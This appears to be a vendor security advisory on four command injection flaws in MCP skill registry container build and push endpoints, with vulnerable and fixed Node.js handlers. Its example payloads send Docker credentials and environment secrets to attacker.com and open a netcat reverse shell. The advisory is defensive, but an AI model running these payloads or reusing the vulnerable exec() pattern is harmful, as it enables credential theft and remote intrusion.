← Blog

Claude MCP skill code injection — container image build and push pipeline endpoints (SA-SKL-INJECTION70)

SA-SKL-INJECTION70 identifies four code injection vulnerabilities in MCP skill registry skill container image build and push pipeline endpoints. The Docker build endpoint interpolates a user-supplied imageTag directly into a shell string passed to exec(); an attacker injects a semicolon-delimited command that exfiltrates the Docker registry credential file at /root/.docker/config.json, gaining push access to every registry the build worker is authenticated against and enabling supply-chain contamination via malicious image replacement; the Docker push endpoint interpolates a user-supplied imageRef into a shell string; an attacker injects a Netcat reverse shell command that opens a persistent interactive shell from the container build worker; the Crane push endpoint interpolates a user-supplied tarPath into a shell string; an attacker injects ; printenv to exfiltrate all environment variables from the build worker process including REGISTRY_PASSWORD, cloud provider credentials, and CI tokens; and the Skopeo copy endpoint interpolates user-supplied srcRef into a shell string; an attacker injects space-delimited --override-os linux --override-arch amd64 flags that instruct Skopeo to treat any source image as the specified architecture, enabling cross-architecture image substitution attacks where an x86 malicious image is accepted as a valid arm64 target image.

SA-SKL-INJECTION70 findings at a glance
CRITICALINJECTION70-001 — exec(`docker build -t ${imageTag} ${buildContext}`) — attacker imageTag with ; cat /root/.docker/config.json exfiltrates Docker registry credentials enabling push of malicious images
CRITICALINJECTION70-002 — exec(`docker push ${imageRef}`) — attacker imageRef with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell from container build worker
CRITICALINJECTION70-003 — exec(`crane push ${tarPath} ${imageRef}`) — attacker tarPath with ; printenv exfiltrates all env vars including REGISTRY_PASSWORD and cloud credentials
HIGHINJECTION70-004 — exec(`skopeo copy ${srcRef} ${dstRef}`) — attacker srcRef with space-injected --override-os linux --override-arch amd64 enables cross-architecture image substitution attacks

INJECTION70-001 — docker build imageTag semicolon injection exfiltrates Docker credentials

The container build endpoint constructs a shell command string by interpolating the user-supplied imageTag value directly into the template literal. An attacker supplies imageTag as myimage:latest; cat /root/.docker/config.json | base64 | curl -d @- https://attacker.com/collect. The shell executes the original docker build command (which may succeed or fail), then executes the injected command chain that reads the Docker credential store file and exfiltrates it. The config.json file contains base64-encoded credentials for every registry the build worker has authenticated against, granting push access to all of them.

Vulnerable
// INJECTION70-001 — VULNERABLE: imageTag interpolated into shell string
router.post('/skills/:id/image/build', requireSession, async (req, res) => {
  const { imageTag, buildContext } = req.body;
  const { stdout } = await exec(`docker build -t ${imageTag} ${buildContext}`);
  res.json({ built: true, output: stdout });
});
Fixed
// INJECTION70-001 — FIXED: execFile with arg array; IMAGE_TAG_RE validation; env stripped
const IMAGE_TAG_RE = /^[a-z0-9][a-z0-9._\-]*:[a-zA-Z0-9._\-]{1,128}$/;
const BUILDS_ROOT = path.resolve(process.env.BUILDS_ROOT || '/srv/builds');

router.post('/skills/:id/image/build', requireSession, async (req, res) => {
  const { imageTag, buildContextDir } = req.body;
  if (!IMAGE_TAG_RE.test(imageTag)) return res.status(400).json({ error: 'Invalid imageTag' });
  const contextPath = path.resolve(BUILDS_ROOT, req.params.id, buildContextDir);
  if (!contextPath.startsWith(BUILDS_ROOT)) return res.status(400).json({ error: 'Path traversal' });
  const { stdout } = await execFile('docker', ['build', '-t', imageTag, contextPath], {
    env: { PATH: process.env.PATH, HOME: process.env.HOME },
  });
  res.json({ built: true, output: stdout });
});

INJECTION70-002 — docker push imageRef establishes reverse shell

The image push endpoint interpolates imageRef into a shell command string. An attacker supplies imageRef as registry.example.com/myimage; nc attacker.com 4444 -e /bin/sh. The injected Netcat command establishes a persistent reverse shell from the container build worker, giving the attacker an interactive command-line interface on the build infrastructure. Build workers typically have access to production registry push credentials, internal service accounts, and cloud provider CLI tools, making this a high-impact persistence vector.

Vulnerable
// INJECTION70-002 — VULNERABLE: imageRef interpolated into shell string
router.post('/skills/:id/image/push', requireSession, async (req, res) => {
  const { imageRef } = req.body;
  const { stdout } = await exec(`docker push ${imageRef}`);
  res.json({ pushed: true, output: stdout });
});
Fixed
// INJECTION70-002 — FIXED: execFile with arg array; OCI_REF_RE validation
const OCI_REF_RE = /^[a-z0-9]([a-z0-9._\-\/]*[a-z0-9])?(:[a-zA-Z0-9._\-]{1,128})?$/;

router.post('/skills/:id/image/push', requireSession, async (req, res) => {
  const { imageRef } = req.body;
  if (!OCI_REF_RE.test(imageRef)) return res.status(400).json({ error: 'Invalid imageRef' });
  const { stdout } = await execFile('docker', ['push', imageRef], {
    env: { PATH: process.env.PATH, HOME: process.env.HOME },
  });
  res.json({ pushed: true, output: stdout });
});

INJECTION70-003 — crane push tarPath exfiltrates environment variables

The Crane push endpoint interpolates tarPath into a shell command string. An attacker supplies tarPath as /uploads/myimage.tar; printenv | curl -d @- https://attacker.com/collect. The injected command exfiltrates all environment variables from the build worker process, including REGISTRY_PASSWORD, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GCP_SERVICE_ACCOUNT_KEY, and any other secrets that the worker process inherited from its deployment environment.

Vulnerable
// INJECTION70-003 — VULNERABLE: tarPath interpolated into shell string
router.post('/skills/:id/image/crane-push', requireSession, async (req, res) => {
  const { tarPath, imageRef } = req.body;
  const { stdout } = await exec(`crane push ${tarPath} ${imageRef}`);
  res.json({ pushed: true, output: stdout });
});
Fixed
// INJECTION70-003 — FIXED: execFile with arg array; paths resolved to sandbox root; env stripped
const TARBALLS_ROOT = path.resolve(process.env.TARBALLS_ROOT || '/srv/tarballs');

router.post('/skills/:id/image/crane-push', requireSession, async (req, res) => {
  const { tarFilename, imageRef } = req.body;
  if (!OCI_REF_RE.test(imageRef)) return res.status(400).json({ error: 'Invalid imageRef' });
  const resolvedTar = path.resolve(TARBALLS_ROOT, req.params.id, tarFilename);
  if (!resolvedTar.startsWith(TARBALLS_ROOT)) return res.status(400).json({ error: 'Path traversal' });
  const { stdout } = await execFile('crane', ['push', resolvedTar, imageRef], {
    env: { PATH: process.env.PATH },  // env stripped — no credentials exposed
  });
  res.json({ pushed: true, output: stdout });
});

INJECTION70-004 — skopeo copy argument injection enables image substitution

The Skopeo copy endpoint interpolates srcRef into a shell command string. Skopeo accepts --override-os and --override-arch flags that instruct it to treat the source image as a specified OS/architecture combination regardless of the image's actual manifest. An attacker injects these flags via a space-delimited payload in srcRef: docker://attacker.com/malicious:latest --override-os linux --override-arch amd64. This causes Skopeo to accept the attacker's x86 malicious image as a valid target when copying to an arm64 destination, enabling cross-architecture image substitution that bypasses manifest verification at the destination registry.

Vulnerable
// INJECTION70-004 — VULNERABLE: srcRef interpolated into shell string — flag injection
router.post('/skills/:id/image/copy', requireSession, async (req, res) => {
  const { srcRef, dstRef } = req.body;
  const { stdout } = await exec(`skopeo copy ${srcRef} ${dstRef}`);
  res.json({ copied: true, output: stdout });
});
Fixed
// INJECTION70-004 — FIXED: execFile with arg array; OCI_REF_RE rejects whitespace and leading dashes
const SKOPEO_REF_RE = /^(docker|oci|containers-storage):\/\/[a-z0-9][a-z0-9._\-\/]*(:[a-zA-Z0-9._\-]{1,128})?$/;

router.post('/skills/:id/image/copy', requireSession, async (req, res) => {
  const { srcRef, dstRef } = req.body;
  if (!SKOPEO_REF_RE.test(srcRef)) return res.status(400).json({ error: 'Invalid srcRef' });
  if (!SKOPEO_REF_RE.test(dstRef)) return res.status(400).json({ error: 'Invalid dstRef' });
  const { stdout } = await execFile('skopeo', ['copy', srcRef, dstRef], {
    env: { PATH: process.env.PATH, HOME: process.env.HOME },
  });
  res.json({ copied: true, output: stdout });
});

SkillAudit scans for all SA-SKL-INJECTION70 patterns — exec() with interpolated shell strings on Docker, Crane, and Skopeo commands, missing argument array sanitization, and unstripped process environments. Get a free audit to detect command injection vulnerabilities in your MCP skill or server.